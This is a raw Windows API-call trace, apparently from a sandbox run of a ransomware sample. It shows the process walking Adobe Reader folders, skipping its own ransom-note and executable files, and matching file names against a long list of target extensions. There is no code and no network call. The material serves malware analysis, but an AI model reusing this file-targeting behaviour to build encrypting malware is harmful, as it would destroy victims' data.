	[0175.748] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="plugin.js") returned -1
	[0175.748] lstrcmpiW (lpString1="Info.hta", lpString2="plugin.js") returned -1
	[0175.748] lstrcmpiW (lpString1="fvppjh.exe", lpString2="plugin.js") returned -1
	[0175.748] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-recent-files\\js\\plugin.js") returned 123
	[0175.748] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1754, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="selector.js", cAlternateFileName="")) returned 1
	[0175.748] lstrlenW (lpString="selector.js") returned 11
	[0175.748] lstrlenW (lpString=".1cd") returned 4
	[0175.748] lstrcmpiW (lpString1=".1cd", lpString2="r.js") returned -1
	[0175.748] lstrlenW (lpString=".3ds") returned 4
	[0175.748] lstrcmpiW (lpString1=".3ds", lpString2="r.js") returned -1
	[0175.748] lstrlenW (lpString=".3fr") returned 4
	[0175.748] lstrcmpiW (lpString1=".3fr", lpString2="r.js") returned -1
	[0175.748] lstrlenW (lpString=".3g2") returned 4
	[0175.748] lstrcmpiW (lpString1=".3g2", lpString2="r.js") returned -1
	[0175.748] lstrlenW (lpString=".3gp") returned 4
	[0175.748] lstrcmpiW (lpString1=".3gp", lpString2="r.js") returned -1
	[0175.748] lstrlenW (lpString=".7z") returned 3
	[0175.748] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1
	[0175.748] lstrlenW (lpString=".accda") returned 6
	[0175.748] lstrcmpiW (lpString1=".accda", lpString2="tor.js") returned -1
	[0175.748] lstrlenW (lpString=".accdb") returned 6
	[0175.748] lstrcmpiW (lpString1=".accdb", lpString2="tor.js") returned -1
	[0175.748] lstrlenW (lpString=".accdc") returned 6
	[0175.748] lstrcmpiW (lpString1=".accdc", lpString2="tor.js") returned -1
	[0175.749] lstrlenW (lpString=".accde") returned 6
	[0175.749] lstrcmpiW (lpString1=".accde", lpString2="tor.js") returned -1
	[0175.749] lstrlenW (lpString=".accdt") returned 6
	[0175.749] lstrcmpiW (lpString1=".accdt", lpString2="tor.js") returned -1
	[0175.749] lstrlenW (lpString=".accdw") returned 6
	[0175.749] lstrcmpiW (lpString1=".accdw", lpString2="tor.js") returned -1
	[0175.749] lstrlenW (lpString=".adb") returned 4
	[0175.749] lstrcmpiW (lpString1=".adb", lpString2="r.js") returned -1
	[0175.749] lstrlenW (lpString=".adp") returned 4
	[0175.749] lstrcmpiW (lpString1=".adp", lpString2="r.js") returned -1
	[0175.749] lstrlenW (lpString=".ai") returned 3
	[0175.749] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1
	[0175.749] lstrlenW (lpString=".ai3") returned 4
	[0175.749] lstrcmpiW (lpString1=".ai3", lpString2="r.js") returned -1
	[0175.749] lstrlenW (lpString=".ai4") returned 4
	[0175.749] lstrcmpiW (lpString1=".ai4", lpString2="r.js") returned -1
	[0175.749] lstrlenW (lpString=".ai5") returned 4
	[0175.749] lstrcmpiW (lpString1=".ai5", lpString2="r.js") returned -1
	[0175.749] lstrlenW (lpString=".ai6") returned 4
	[0175.749] lstrcmpiW (lpString1=".ai6", lpString2="r.js") returned -1
	[0175.749] lstrlenW (lpString=".ai7") returned 4
	[0175.749] lstrcmpiW (lpString1=".ai7", lpString2="r.js") returned -1
	[0175.749] lstrlenW (lpString=".ai8") returned 4
	[0175.749] lstrcmpiW (lpString1=".ai8", lpString2="r.js") returned -1
	[0175.749] lstrlenW (lpString=".anim") returned 5
	[0175.749] lstrcmpiW (lpString1=".anim", lpString2="or.js") returned -1
	[0175.749] lstrlenW (lpString=".arw") returned 4
	[0175.749] lstrcmpiW (lpString1=".arw", lpString2="r.js") returned -1
	[0175.749] lstrlenW (lpString=".as") returned 3
	[0175.749] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1
	[0175.749] lstrlenW (lpString=".asa") returned 4
	[0175.749] lstrcmpiW (lpString1=".asa", lpString2="r.js") returned -1
	[0175.749] lstrlenW (lpString=".asc") returned 4
	[0175.750] lstrcmpiW (lpString1=".asc", lpString2="r.js") returned -1
	[0175.750] lstrlenW (lpString=".ascx") returned 5
	[0175.750] lstrcmpiW (lpString1=".ascx", lpString2="or.js") returned -1
	[0175.750] lstrlenW (lpString=".asm") returned 4
	[0175.750] lstrcmpiW (lpString1=".asm", lpString2="r.js") returned -1
	[0175.750] lstrlenW (lpString=".asmx") returned 5
	[0175.750] lstrcmpiW (lpString1=".asmx", lpString2="or.js") returned -1
	[0175.750] lstrlenW (lpString=".asp") returned 4
	[0175.750] lstrcmpiW (lpString1=".asp", lpString2="r.js") returned -1
	[0175.750] lstrlenW (lpString=".aspx") returned 5
	[0175.750] lstrcmpiW (lpString1=".aspx", lpString2="or.js") returned -1
	[0175.750] lstrlenW (lpString=".asr") returned 4
	[0175.750] lstrcmpiW (lpString1=".asr", lpString2="r.js") returned -1
	[0175.750] lstrlenW (lpString=".asx") returned 4
	[0175.750] lstrcmpiW (lpString1=".asx", lpString2="r.js") returned -1
	[0175.750] lstrlenW (lpString=".avi") returned 4
	[0175.750] lstrcmpiW (lpString1=".avi", lpString2="r.js") returned -1
	[0175.750] lstrlenW (lpString=".avs") returned 4
	[0175.750] lstrcmpiW (lpString1=".avs", lpString2="r.js") returned -1
	[0175.750] lstrlenW (lpString=".backup") returned 7
	[0175.750] lstrcmpiW (lpString1=".backup", lpString2="ctor.js") returned -1
	[0175.750] lstrlenW (lpString=".bak") returned 4
	[0175.750] lstrcmpiW (lpString1=".bak", lpString2="r.js") returned -1
	[0175.750] lstrlenW (lpString=".bay") returned 4
	[0175.750] lstrcmpiW (lpString1=".bay", lpString2="r.js") returned -1
	[0175.750] lstrlenW (lpString=".bd") returned 3
	[0175.750] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1
	[0175.750] lstrlenW (lpString=".bin") returned 4
	[0175.750] lstrcmpiW (lpString1=".bin", lpString2="r.js") returned -1
	[0175.750] lstrlenW (lpString=".bmp") returned 4
	[0175.750] lstrcmpiW (lpString1=".bmp", lpString2="r.js") returned -1
	[0175.750] lstrlenW (lpString=".bz2") returned 4
	[0175.750] lstrcmpiW (lpString1=".bz2", lpString2="r.js") returned -1
	[0175.750] lstrlenW (lpString=".c") returned 2
	[0175.751] lstrcmpiW (lpString1=".c", lpString2="js") returned -1
	[0175.751] lstrlenW (lpString=".cdr") returned 4
	[0175.751] lstrcmpiW (lpString1=".cdr", lpString2="r.js") returned -1
	[0175.751] lstrlenW (lpString=".cer") returned 4
	[0175.751] lstrcmpiW (lpString1=".cer", lpString2="r.js") returned -1
	[0175.751] lstrlenW (lpString=".cf") returned 3
	[0175.751] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1
	[0175.751] lstrlenW (lpString=".cfc") returned 4
	[0175.751] lstrcmpiW (lpString1=".cfc", lpString2="r.js") returned -1
	[0175.751] lstrlenW (lpString=".cfm") returned 4
	[0175.751] lstrcmpiW (lpString1=".cfm", lpString2="r.js") returned -1
	[0175.751] lstrlenW (lpString=".cfml") returned 5
	[0175.751] lstrcmpiW (lpString1=".cfml", lpString2="or.js") returned -1
	[0175.751] lstrlenW (lpString=".cfu") returned 4
	[0175.751] lstrcmpiW (lpString1=".cfu", lpString2="r.js") returned -1
	[0175.751] lstrlenW (lpString=".chm") returned 4
	[0175.751] lstrcmpiW (lpString1=".chm", lpString2="r.js") returned -1
	[0175.751] lstrlenW (lpString=".cin") returned 4
	[0175.751] lstrcmpiW (lpString1=".cin", lpString2="r.js") returned -1
	[0175.751] lstrlenW (lpString=".class") returned 6
	[0175.751] lstrcmpiW (lpString1=".class", lpString2="tor.js") returned -1
	[0175.751] lstrlenW (lpString=".clx") returned 4
	[0175.751] lstrcmpiW (lpString1=".clx", lpString2="r.js") returned -1
	[0175.751] lstrlenW (lpString=".config") returned 7
	[0175.751] lstrcmpiW (lpString1=".config", lpString2="ctor.js") returned -1
	[0175.751] lstrlenW (lpString=".cpp") returned 4
	[0175.751] lstrcmpiW (lpString1=".cpp", lpString2="r.js") returned -1
	[0175.751] lstrlenW (lpString=".cr2") returned 4
	[0175.751] lstrcmpiW (lpString1=".cr2", lpString2="r.js") returned -1
	[0175.751] lstrlenW (lpString=".crt") returned 4
	[0175.751] lstrcmpiW (lpString1=".crt", lpString2="r.js") returned -1
	[0175.751] lstrlenW (lpString=".crw") returned 4
	[0175.751] lstrcmpiW (lpString1=".crw", lpString2="r.js") returned -1
	[0175.752] lstrlenW (lpString=".cs") returned 3
	[0175.752] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1
	[0175.752] lstrlenW (lpString=".css") returned 4
	[0175.752] lstrcmpiW (lpString1=".css", lpString2="r.js") returned -1
	[0175.752] lstrlenW (lpString=".csv") returned 4
	[0175.752] lstrcmpiW (lpString1=".csv", lpString2="r.js") returned -1
	[0175.752] lstrlenW (lpString=".cub") returned 4
	[0175.752] lstrcmpiW (lpString1=".cub", lpString2="r.js") returned -1
	[0175.752] lstrlenW (lpString=".dae") returned 4
	[0175.752] lstrcmpiW (lpString1=".dae", lpString2="r.js") returned -1
	[0175.752] lstrlenW (lpString=".dat") returned 4
	[0175.752] lstrcmpiW (lpString1=".dat", lpString2="r.js") returned -1
	[0175.752] lstrlenW (lpString=".db") returned 3
	[0175.752] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1
	[0175.752] lstrlenW (lpString=".dbf") returned 4
	[0175.752] lstrcmpiW (lpString1=".dbf", lpString2="r.js") returned -1
	[0175.752] lstrlenW (lpString=".dbx") returned 4
	[0175.752] lstrcmpiW (lpString1=".dbx", lpString2="r.js") returned -1
	[0175.752] lstrlenW (lpString=".dc3") returned 4
	[0175.752] lstrcmpiW (lpString1=".dc3", lpString2="r.js") returned -1
	[0175.752] lstrlenW (lpString=".dcm") returned 4
	[0175.752] lstrcmpiW (lpString1=".dcm", lpString2="r.js") returned -1
	[0175.752] lstrlenW (lpString=".dcr") returned 4
	[0175.752] lstrcmpiW (lpString1=".dcr", lpString2="r.js") returned -1
	[0175.752] lstrlenW (lpString=".der") returned 4
	[0175.752] lstrcmpiW (lpString1=".der", lpString2="r.js") returned -1
	[0175.752] lstrlenW (lpString=".dib") returned 4
	[0175.752] lstrcmpiW (lpString1=".dib", lpString2="r.js") returned -1
	[0175.753] lstrlenW (lpString=".dic") returned 4
	[0175.753] lstrcmpiW (lpString1=".dic", lpString2="r.js") returned -1
	[0175.753] lstrlenW (lpString=".dif") returned 4
	[0175.753] lstrcmpiW (lpString1=".dif", lpString2="r.js") returned -1
	[0175.753] lstrlenW (lpString=".divx") returned 5
	[0175.753] lstrcmpiW (lpString1=".divx", lpString2="or.js") returned -1
	[0175.753] lstrlenW (lpString=".djvu") returned 5
	[0175.753] lstrcmpiW (lpString1=".djvu", lpString2="or.js") returned -1
	[0175.753] lstrlenW (lpString=".dng") returned 4
	[0175.753] lstrcmpiW (lpString1=".dng", lpString2="r.js") returned -1
	[0175.753] lstrlenW (lpString=".doc") returned 4
	[0175.753] lstrcmpiW (lpString1=".doc", lpString2="r.js") returned -1
	[0175.753] lstrlenW (lpString=".docm") returned 5
	[0175.753] lstrcmpiW (lpString1=".docm", lpString2="or.js") returned -1
	[0175.753] lstrlenW (lpString=".docx") returned 5
	[0175.753] lstrcmpiW (lpString1=".docx", lpString2="or.js") returned -1
	[0175.753] lstrlenW (lpString=".dot") returned 4
	[0175.753] lstrcmpiW (lpString1=".dot", lpString2="r.js") returned -1
	[0175.753] lstrlenW (lpString=".dotm") returned 5
	[0175.753] lstrcmpiW (lpString1=".dotm", lpString2="or.js") returned -1
	[0175.753] lstrlenW (lpString=".dotx") returned 5
	[0175.753] lstrcmpiW (lpString1=".dotx", lpString2="or.js") returned -1
	[0175.753] lstrlenW (lpString=".dpx") returned 4
	[0175.753] lstrcmpiW (lpString1=".dpx", lpString2="r.js") returned -1
	[0175.753] lstrlenW (lpString=".dqy") returned 4
	[0175.753] lstrcmpiW (lpString1=".dqy", lpString2="r.js") returned -1
	[0175.753] lstrlenW (lpString=".dsn") returned 4
	[0175.753] lstrcmpiW (lpString1=".dsn", lpString2="r.js") returned -1
	[0175.753] lstrlenW (lpString=".dt") returned 3
	[0175.753] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1
	[0175.753] lstrlenW (lpString=".dtd") returned 4
	[0175.753] lstrcmpiW (lpString1=".dtd", lpString2="r.js") returned -1
	[0175.753] lstrlenW (lpString=".dwg") returned 4
	[0175.753] lstrcmpiW (lpString1=".dwg", lpString2="r.js") returned -1
	[0175.754] lstrlenW (lpString=".dwt") returned 4
	[0175.754] lstrcmpiW (lpString1=".dwt", lpString2="r.js") returned -1
	[0175.754] lstrlenW (lpString=".dx") returned 3
	[0175.754] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1
	[0175.754] lstrlenW (lpString=".dxf") returned 4
	[0175.754] lstrcmpiW (lpString1=".dxf", lpString2="r.js") returned -1
	[0175.754] lstrlenW (lpString=".edml") returned 5
	[0175.754] lstrcmpiW (lpString1=".edml", lpString2="or.js") returned -1
	[0175.754] lstrlenW (lpString=".efd") returned 4
	[0175.754] lstrcmpiW (lpString1=".efd", lpString2="r.js") returned -1
	[0175.754] lstrlenW (lpString=".elf") returned 4
	[0175.754] lstrcmpiW (lpString1=".elf", lpString2="r.js") returned -1
	[0175.754] lstrlenW (lpString=".emf") returned 4
	[0175.754] lstrcmpiW (lpString1=".emf", lpString2="r.js") returned -1
	[0175.754] lstrlenW (lpString=".emz") returned 4
	[0175.754] lstrcmpiW (lpString1=".emz", lpString2="r.js") returned -1
	[0175.754] lstrlenW (lpString=".epf") returned 4
	[0175.754] lstrcmpiW (lpString1=".epf", lpString2="r.js") returned -1
	[0175.754] lstrlenW (lpString=".eps") returned 4
	[0175.754] lstrcmpiW (lpString1=".eps", lpString2="r.js") returned -1
	[0175.754] lstrlenW (lpString=".epsf") returned 5
	[0175.754] lstrcmpiW (lpString1=".epsf", lpString2="or.js") returned -1
	[0175.754] lstrlenW (lpString=".epsp") returned 5
	[0175.754] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
	[0175.755] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0
	[0175.755] FindClose (in: hFindFile=0x41409d8 | out: hFindFile=0x41409d8) returned 1
	[0175.755] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0175.755] FindNextFileW (in: hFindFile=0x4140e98, lpFindFileData=0x374e69c | out: lpFindFileData=0x374e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="my-recent-files-select", cAlternateFileName="MY-REC~1")) returned 1
	[0175.755] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-recent-files-select") returned 117
	[0175.755] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
	[0175.755] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0175.755] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-recent-files-select\\js") returned 120
	[0175.755] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
	[0175.755] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0
	[0175.755] FindClose (in: hFindFile=0x4140898 | out: hFindFile=0x4140898) returned 1
	[0175.755] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0175.755] FindNextFileW (in: hFindFile=0x4140e98, lpFindFileData=0x374e69c | out: lpFindFileData=0x374e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ob-preview", cAlternateFileName="OB-PRE~1")) returned 1
	[0175.755] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
	[0175.755] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1
	[0175.798] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0175.798] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee920b4a, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee920b4a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0
	[0175.798] FindClose (in: hFindFile=0x41409d8 | out: hFindFile=0x41409d8) returned 1
	[0175.798] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0175.798] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee920b4a, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee920b4a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee920b4a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0
	[0175.798] FindClose (in: hFindFile=0x4140c18 | out: hFindFile=0x4140c18) returned 1
	[0175.799] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
	[0175.799] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0175.878] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0175.878] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1
	[0175.878] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0175.878] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1
	[0175.878] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0175.878] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1
	[0175.879] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0175.879] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1
	[0175.879] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0175.879] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1
	[0175.879] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0175.879] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1
	[0175.879] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0175.879] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1
	[0175.879] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0175.880] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1
	[0175.880] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0175.880] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1
	[0175.880] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0175.880] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1
